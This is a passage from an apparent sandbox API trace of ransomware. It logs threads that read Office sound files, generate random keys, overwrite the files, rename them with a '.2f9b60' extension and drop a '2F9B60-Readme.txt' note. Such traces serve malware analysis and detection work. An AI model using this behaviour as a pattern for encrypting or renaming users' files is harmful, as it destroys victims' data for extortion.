SourceString="a5d6196429ada85e44986ebacdbf00de" | out: DestinationString="a5d6196429ada85e44986ebacdbf00de") [0103.397] RtlAnsiStringToUnicodeString (in: DestinationString=0x2e6afe38, SourceString="a5d6196429ada85e44986ebacdbf00de", AllocateDestinationString=1 | out: DestinationString="a5d6196429ada85e44986ebacdbf00de") returned 0x0 [0103.397] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1cd97260 [0103.397] wcscat (in: _Dest=0x20509d50, _Source="a5d61964" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\a5d61964") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\a5d61964" [0103.397] wcscat (in: _Dest=0x20509d50, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\a5d61964.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\a5d61964.2f9b60" [0103.397] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\a5d61964.2f9b60", NtPathName=0x2e6afe10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\a5d61964.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0103.397] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x2050d0b0 [0104.289] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d0b0) returned 1 [0104.289] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052740) returned 1 [0104.289] NtQueryInformationFile (in: FileHandle=0x1714, IoStatusBlock=0x2e6afe78, FileInformation=0x2e6afe88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2e6afe78, FileInformation=0x2e6afe88) returned 0x0 [0104.289] NtSetInformationFile (FileHandle=0x1714, IoStatusBlock=0x2e6afe78, FileInformation=0x2e6afe88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20509d50) returned 1 [0104.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97260) returned 1 [0104.294] FlushFileBuffers (hFile=0x1714) returned 1 [0104.298] CloseHandle (hObject=0x1714) returned 1 [0104.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x20509d50 [0104.302] wcscpy (in: _Dest=0x20509d50, _Source="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0104.302] wcscat (in: _Dest=0x20509d50, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt" [0104.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\media\\2f9b60-readme.txt")) returned 0xffffffff [0104.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\media\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1714 [0104.302] WriteFile (in: hFile=0x1714, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2e6afd30, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2e6afd30*=0xba9, lpOverlapped=0x0) returned 1 [0104.304] CloseHandle (hObject=0x1714) returned 1 [0104.305] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20509d50) returned 1 [0104.305] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ee90) returned 1 Thread: id = 914 os_tid = 0x14f0 [0101.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\VOLTAGE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\voltage.wav")) returned 0x20 [0103.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\VOLTAGE.WAV", dwFileAttributes=0x20) returned 1 [0103.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\VOLTAGE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\voltage.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1738 [0103.269] GetFileSizeEx (in: hFile=0x1738, lpFileSize=0x2e75f760 | out: lpFileSize=0x2e75f760*=13766) returned 1 [0103.269] SetFilePointerEx (in: hFile=0x1738, liDistanceToMove=0x35c2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.269] ReadFile (in: hFile=0x1738, lpBuffer=0x2e75f6e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e75f728, lpOverlapped=0x0 | out: lpBuffer=0x2e75f6e0*, lpNumberOfBytesRead=0x2e75f728*=0x4, lpOverlapped=0x0) returned 1 [0103.316] SetFilePointerEx (in: hFile=0x1738, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202638f0 [0103.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261f70 [0103.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261fd0 [0103.316] NtQuerySystemTime (in: CurrentTime=0x2e75f620 | out: CurrentTime=0x2e75f620*=132462177088174000) returned 0x0 [0103.316] RtlRandomEx (in: Seed=0x2e75f610 | out: Seed=0x2e75f610) returned 0x610e46c1 [0103.316] RtlRandomEx (in: Seed=0x2e75f610 | out: Seed=0x2e75f610) returned 0x42863736 [0103.316] RtlRandomEx (in: Seed=0x2e75f610 | out: Seed=0x2e75f610) returned 0x52877b8e [0103.316] RtlRandomEx (in: Seed=0x2e75f610 | out: Seed=0x2e75f610) returned 0x444f3b61 [0103.316] RtlRandomEx (in: Seed=0x2e75f610 | out: Seed=0x2e75f610) returned 0x54f2327b [0103.316] RtlRandomEx (in: Seed=0x2e75f610 | out: Seed=0x2e75f610) returned 0x115a1593 [0103.316] RtlRandomEx (in: Seed=0x2e75f610 | out: Seed=0x2e75f610) returned 0x623a3401 [0103.316] RtlRandomEx (in: Seed=0x2e75f610 | out: Seed=0x2e75f610) returned 0x46b3bb00 [0103.317] RtlRandomEx (in: Seed=0x2e75f610 | out: Seed=0x2e75f610) returned 0x28d7e7f [0103.317] RtlRandomEx (in: Seed=0x2e75f610 | out: Seed=0x2e75f610) returned 0x6a865c83 [0103.317] RtlRandomEx (in: Seed=0x2e75f610 | out: Seed=0x2e75f610) returned 0x699ceb34 [0103.317] RtlRandomEx (in: Seed=0x2e75f610 | out: Seed=0x2e75f610) returned 0x1a9c7caa [0103.317] RtlRandomEx (in: Seed=0x2e75f610 | out: Seed=0x2e75f610) returned 0x3ecd7d48 [0103.317] RtlRandomEx (in: Seed=0x2e75f610 | out: Seed=0x2e75f610) returned 0x1db3045e [0103.317] RtlRandomEx (in: Seed=0x2e75f610 | out: Seed=0x2e75f610) returned 0x577b2ce4 [0103.317] RtlRandomEx (in: Seed=0x2e75f610 | out: Seed=0x2e75f610) returned 0x14e51a24 [0103.317] RtlRandomEx (in: Seed=0x2e75f610 | out: Seed=0x2e75f610) returned 0xaaa6efa [0103.317] RtlRandomEx (in: Seed=0x2e75f610 | out: Seed=0x2e75f610) returned 0x6163f841 [0103.317] RtlRandomEx (in: Seed=0x2e75f610 | out: Seed=0x2e75f610) returned 0x72c3c9fd [0103.317] RtlRandomEx (in: Seed=0x2e75f610 | out: Seed=0x2e75f610) returned 0x19326a4d [0103.317] RtlRandomEx (in: Seed=0x2e75f610 | out: Seed=0x2e75f610) returned 0x3e99a4bf [0103.317] RtlRandomEx (in: Seed=0x2e75f610 | out: Seed=0x2e75f610) returned 0x2645284 [0103.317] RtlRandomEx (in: Seed=0x2e75f610 | out: Seed=0x2e75f610) returned 0xe7bcbf2 [0103.317] RtlRandomEx (in: Seed=0x2e75f610 | out: Seed=0x2e75f610) returned 0x71a517d8 [0103.317] RtlRandomEx (in: Seed=0x2e75f610 | out: Seed=0x2e75f610) returned 0x684d05c3 [0103.317] RtlRandomEx (in: Seed=0x2e75f610 | out: Seed=0x2e75f610) returned 0x5271a6d5 [0103.317] RtlRandomEx (in: Seed=0x2e75f610 | out: Seed=0x2e75f610) returned 0x71cc3842 [0103.317] RtlRandomEx (in: Seed=0x2e75f610 | out: Seed=0x2e75f610) returned 0x53174aa3 [0103.318] RtlRandomEx (in: Seed=0x2e75f610 | out: Seed=0x2e75f610) returned 0x5c5380cf [0103.318] RtlRandomEx (in: Seed=0x2e75f610 | out: Seed=0x2e75f610) returned 0x1316ca0 [0103.318] RtlRandomEx (in: Seed=0x2e75f610 | out: Seed=0x2e75f610) returned 0x25ac454f [0103.318] RtlRandomEx (in: Seed=0x2e75f610 | out: Seed=0x2e75f610) returned 0x65546323 [0103.332] ReadFile (in: hFile=0x1738, lpBuffer=0x1ce73da0, nNumberOfBytesToRead=0x35c6, lpNumberOfBytesRead=0x2e75f610, lpOverlapped=0x0 | out: lpBuffer=0x1ce73da0*, lpNumberOfBytesRead=0x2e75f610*=0x35c6, lpOverlapped=0x0) returned 1 [0103.534] SetFilePointerEx (in: hFile=0x1738, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.534] WriteFile (in: hFile=0x1738, lpBuffer=0x1ce7f1d0*, nNumberOfBytesToWrite=0x35c6, lpNumberOfBytesWritten=0x2e75f614, lpOverlapped=0x0 | out: lpBuffer=0x1ce7f1d0*, lpNumberOfBytesWritten=0x2e75f614*=0x35c6, lpOverlapped=0x0) returned 1 [0104.356] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263380 [0104.357] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202632c0 [0104.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202632c0) returned 1 [0104.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce7f1d0) returned 1 [0104.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce73da0) returned 1 [0104.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0104.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97670) returned 1 [0104.357] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x202632c0 [0104.357] SetFilePointerEx (in: hFile=0x1738, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0104.357] WriteFile (in: hFile=0x1738, lpBuffer=0x169c40*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2e75f730, lpOverlapped=0x0 | out: lpBuffer=0x169c40*, lpNumberOfBytesWritten=0x2e75f730*=0x108, lpOverlapped=0x0) returned 1 [0104.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd976c0 [0104.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503690 [0104.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263b60 [0104.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263b60) returned 1 [0104.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d000 [0104.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263b60 [0104.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262810 [0104.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262810) returned 1 [0104.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503690) returned 1 [0104.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd976c0) returned 1 [0104.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f230 [0104.506] sprintf (in: _Dest=0x1cd9f230, _Format="%c%c" | out: _Dest="c8") returned 2 [0104.507] sprintf (in: _Dest=0x1cd9f232, _Format="%c%c" | out: _Dest="78") returned 2 [0104.507] sprintf (in: _Dest=0x1cd9f234, _Format="%c%c" | out: _Dest="4b") returned 2 [0104.507] sprintf (in: _Dest=0x1cd9f236, _Format="%c%c" | out: _Dest="c4") returned 2 [0104.507] sprintf (in: _Dest=0x1cd9f238, _Format="%c%c" | out: _Dest="9c") returned 2 [0104.507] sprintf (in: _Dest=0x1cd9f23a, _Format="%c%c" | out: _Dest="94") returned 2 [0104.507] sprintf (in: _Dest=0x1cd9f23c, _Format="%c%c" | out: _Dest="0f") returned 2 [0104.507] sprintf (in: _Dest=0x1cd9f23e, _Format="%c%c" | out: _Dest="3f") returned 2 [0104.507] sprintf (in: _Dest=0x1cd9f240, _Format="%c%c" | out: _Dest="49") returned 2 [0104.507] sprintf (in: _Dest=0x1cd9f242, _Format="%c%c" | out: _Dest="35") returned 2 [0104.507] sprintf (in: _Dest=0x1cd9f244, _Format="%c%c" | out: _Dest="d0") returned 2 [0104.507] sprintf (in: _Dest=0x1cd9f246, _Format="%c%c" | out: _Dest="28") returned 2 [0104.507] sprintf (in: _Dest=0x1cd9f248, _Format="%c%c" | out: _Dest="fa") returned 2 [0104.507] sprintf (in: _Dest=0x1cd9f24a, _Format="%c%c" | out: _Dest="80") returned 2 [0104.507] sprintf (in: _Dest=0x1cd9f24c, _Format="%c%c" | out: _Dest="82") returned 2 [0104.507] sprintf (in: _Dest=0x1cd9f24e, _Format="%c%c" | out: _Dest="03") returned 2 [0104.507] sprintf (in: _Dest=0x1cd9f250, _Format="%c%c" | out: _Dest="0b") returned 2 [0104.507] sprintf (in: _Dest=0x1cd9f252, _Format="%c%c" | out: _Dest="29") returned 2 [0104.507] sprintf (in: _Dest=0x1cd9f254, _Format="%c%c" | out: _Dest="0d") returned 2 [0104.507] sprintf (in: _Dest=0x1cd9f256, _Format="%c%c" | out: _Dest="0a") returned 2 [0104.507] sprintf (in: _Dest=0x1cd9f258, _Format="%c%c" | out: _Dest="c1") returned 2 [0104.507] sprintf (in: _Dest=0x1cd9f25a, _Format="%c%c" | out: _Dest="8a") returned 2 [0104.507] RtlInitAnsiString (in: DestinationString=0x2e75f7a8, SourceString="c8784bc49c940f3f4935d028fa8082030b290d0ac18a" | out: DestinationString="c8784bc49c940f3f4935d028fa8082030b290d0ac18a") [0104.507] RtlAnsiStringToUnicodeString (in: DestinationString=0x2e75f778, SourceString="c8784bc49c940f3f4935d028fa8082030b290d0ac18a", AllocateDestinationString=1 | out: DestinationString="c8784bc49c940f3f4935d028fa8082030b290d0ac18a") returned 0x0 [0104.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ced59b0 [0104.508] wcscat (in: _Dest=0x2050ac80, _Source="c8784bc49c9" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\c8784bc49c9") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\c8784bc49c9" [0104.508] wcscat (in: _Dest=0x2050ac80, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\c8784bc49c9.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\c8784bc49c9.2f9b60" [0104.508] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\c8784bc49c9.2f9b60", NtPathName=0x2e75f750, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\c8784bc49c9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0104.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x205022f0 [0104.510] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205022f0) returned 1 [0104.510] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053690) returned 1 [0104.510] NtQueryInformationFile (in: FileHandle=0x1738, IoStatusBlock=0x2e75f7b8, FileInformation=0x2e75f7c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2e75f7b8, FileInformation=0x2e75f7c8) returned 0x0 [0104.510] NtSetInformationFile (FileHandle=0x1738, IoStatusBlock=0x2e75f7b8, FileInformation=0x2e75f7c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ac80) returned 1 [0104.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced59b0) returned 1 [0104.511] FlushFileBuffers (hFile=0x1738) returned 1 [0104.803] CloseHandle (hObject=0x1738) returned 1 [0104.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b784be0 [0104.991] wcscpy (in: _Dest=0x1b784be0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0104.991] wcscat (in: _Dest=0x1b784be0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt" [0104.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\media\\2f9b60-readme.txt")) returned 0x20 [0104.992] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784be0) returned 1 [0104.992] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4890) returned 1 Thread: id = 915 os_tid = 0x14f4 [0101.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\WHOOSH.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\whoosh.wav")) returned 0x20 [0102.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\WHOOSH.WAV", dwFileAttributes=0x20) returned 1 [0103.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\WHOOSH.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\whoosh.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1728 [0103.108] GetFileSizeEx (in: hFile=0x1728, lpFileSize=0x2e80fa40 | out: lpFileSize=0x2e80fa40*=1758) returned 1 [0103.108] SetFilePointerEx (in: hFile=0x1728, liDistanceToMove=0x6da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.108] ReadFile (in: hFile=0x1728, lpBuffer=0x2e80f9c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e80fa08, lpOverlapped=0x0 | out: lpBuffer=0x2e80f9c0*, lpNumberOfBytesRead=0x2e80fa08*=0x4, lpOverlapped=0x0) returned 1 [0103.121] SetFilePointerEx (in: hFile=0x1728, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263dd0 [0103.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261e80 [0103.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263ef0 [0103.121] NtQuerySystemTime (in: CurrentTime=0x2e80f900 | out: CurrentTime=0x2e80f900*=132462177086302000) returned 0x0 [0103.121] RtlRandomEx (in: Seed=0x2e80f8f0 | out: Seed=0x2e80f8f0) returned 0x447811a1 [0103.121] RtlRandomEx (in: Seed=0x2e80f8f0 | out: Seed=0x2e80f8f0) returned 0x33ac4447 [0103.121] RtlRandomEx (in: Seed=0x2e80f8f0 | out: Seed=0x2e80f8f0) returned 0x68f7c21a [0103.121] RtlRandomEx (in: Seed=0x2e80f8f0 | out: Seed=0x2e80f8f0) returned 0x67dced56 [0103.121] RtlRandomEx (in: Seed=0x2e80f8f0 | out: Seed=0x2e80f8f0) returned 0x3c45237 [0103.121] RtlRandomEx (in: Seed=0x2e80f8f0 | out: Seed=0x2e80f8f0) returned 0x2136256e [0103.121] RtlRandomEx (in: Seed=0x2e80f8f0 | out: Seed=0x2e80f8f0) returned 0x553466b5 [0103.121] RtlRandomEx (in: Seed=0x2e80f8f0 | out: Seed=0x2e80f8f0) returned 0x156357ea [0103.121] RtlRandomEx (in: Seed=0x2e80f8f0 | out: Seed=0x2e80f8f0) returned 0x78837325 [0103.121] RtlRandomEx (in: Seed=0x2e80f8f0 | out: Seed=0x2e80f8f0) returned 0x633b4881 [0103.122] RtlRandomEx (in: Seed=0x2e80f8f0 | out: Seed=0x2e80f8f0) returned 0x2a315e03 [0103.122] RtlRandomEx (in: Seed=0x2e80f8f0 | out: Seed=0x2e80f8f0) returned 0x472dbee7 [0103.122] RtlRandomEx (in: Seed=0x2e80f8f0 | out: Seed=0x2e80f8f0) returned 0x46f24174 [0103.122] RtlRandomEx (in: Seed=0x2e80f8f0 | out: Seed=0x2e80f8f0) returned 0x285cc042 [0103.122] RtlRandomEx (in: Seed=0x2e80f8f0 | out: Seed=0x2e80f8f0) returned 0x52e8bb5d [0103.122] RtlRandomEx (in: Seed=0x2e80f8f0 | out: Seed=0x2e80f8f0) returned 0x60cd753a [0103.122] RtlRandomEx (in: Seed=0x2e80f8f0 | out: Seed=0x2e80f8f0) returned 0x5ab25267 [0103.122] RtlRandomEx (in: Seed=0x2e80f8f0 | out: Seed=0x2e80f8f0) returned 0x71079610 [0103.122] RtlRandomEx (in: Seed=0x2e80f8f0 | out: Seed=0x2e80f8f0) returned 0x63ce8daf [0103.122] RtlRandomEx (in: Seed=0x2e80f8f0 | out: Seed=0x2e80f8f0) returned 0x8d82424 [0103.122] RtlRandomEx (in: Seed=0x2e80f8f0 | out: Seed=0x2e80f8f0) returned 0x667b0032 [0103.122] RtlRandomEx (in: Seed=0x2e80f8f0 | out: Seed=0x2e80f8f0) returned 0x3a0f6c50 [0103.122] RtlRandomEx (in: Seed=0x2e80f8f0 | out: Seed=0x2e80f8f0) returned 0xa45b555 [0103.122] RtlRandomEx (in: Seed=0x2e80f8f0 | out: Seed=0x2e80f8f0) returned 0x2f20e8fa [0103.122] RtlRandomEx (in: Seed=0x2e80f8f0 | out: Seed=0x2e80f8f0) returned 0x73c175a3 [0103.122] RtlRandomEx (in: Seed=0x2e80f8f0 | out: Seed=0x2e80f8f0) returned 0x2023aee6 [0103.122] RtlRandomEx (in: Seed=0x2e80f8f0 | out: Seed=0x2e80f8f0) returned 0x6bfdd174 [0103.122] RtlRandomEx (in: Seed=0x2e80f8f0 | out: Seed=0x2e80f8f0) returned 0x6e3bdd79 [0103.122] RtlRandomEx (in: Seed=0x2e80f8f0 | out: Seed=0x2e80f8f0) returned 0x349d8ee6 [0103.122] RtlRandomEx (in: Seed=0x2e80f8f0 | out: Seed=0x2e80f8f0) returned 0x374ffef7 [0103.122] RtlRandomEx (in: Seed=0x2e80f8f0 | out: Seed=0x2e80f8f0) returned 0x2043527a [0103.122] RtlRandomEx (in: Seed=0x2e80f8f0 | out: Seed=0x2e80f8f0) returned 0x4673eb90 [0103.136] ReadFile (in: hFile=0x1728, lpBuffer=0x204b7790, nNumberOfBytesToRead=0x6de, lpNumberOfBytesRead=0x2e80f8f0, lpOverlapped=0x0 | out: lpBuffer=0x204b7790*, lpNumberOfBytesRead=0x2e80f8f0*=0x6de, lpOverlapped=0x0) returned 1 [0103.136] SetFilePointerEx (in: hFile=0x1728, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.136] WriteFile (in: hFile=0x1728, lpBuffer=0x41f885a0*, nNumberOfBytesToWrite=0x6de, lpNumberOfBytesWritten=0x2e80f8f4, lpOverlapped=0x0 | out: lpBuffer=0x41f885a0*, lpNumberOfBytesWritten=0x2e80f8f4*=0x6de, lpOverlapped=0x0) returned 1 [0103.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260ad0 [0103.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260b00 [0103.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260b00) returned 1 [0103.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f885a0) returned 1 [0103.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204b7790) returned 1 [0103.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0103.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0103.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x20260b00 [0103.411] SetFilePointerEx (in: hFile=0x1728, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0103.411] WriteFile (in: hFile=0x1728, lpBuffer=0x169800*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2e80fa10, lpOverlapped=0x0 | out: lpBuffer=0x169800*, lpNumberOfBytesWritten=0x2e80fa10*=0x106, lpOverlapped=0x0) returned 1 [0103.841] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97850 [0103.841] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503c10 [0103.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202632c0 [0103.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202632c0) returned 1 [0103.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d000 [0103.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202632c0 [0103.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263380 [0103.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263380) returned 1 [0103.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503c10) returned 1 [0103.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97850) returned 1 [0103.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9f630 [0103.842] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="10") returned 2 [0103.842] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="0e") returned 2 [0103.842] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="7d") returned 2 [0103.842] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="3a") returned 2 [0103.842] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="16") returned 2 [0103.842] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="32") returned 2 [0103.842] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="a7") returned 2 [0103.842] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="18") returned 2 [0103.842] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="0b") returned 2 [0103.842] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="bb") returned 2 [0103.842] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="2d") returned 2 [0103.842] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="10") returned 2 [0103.842] sprintf (in: 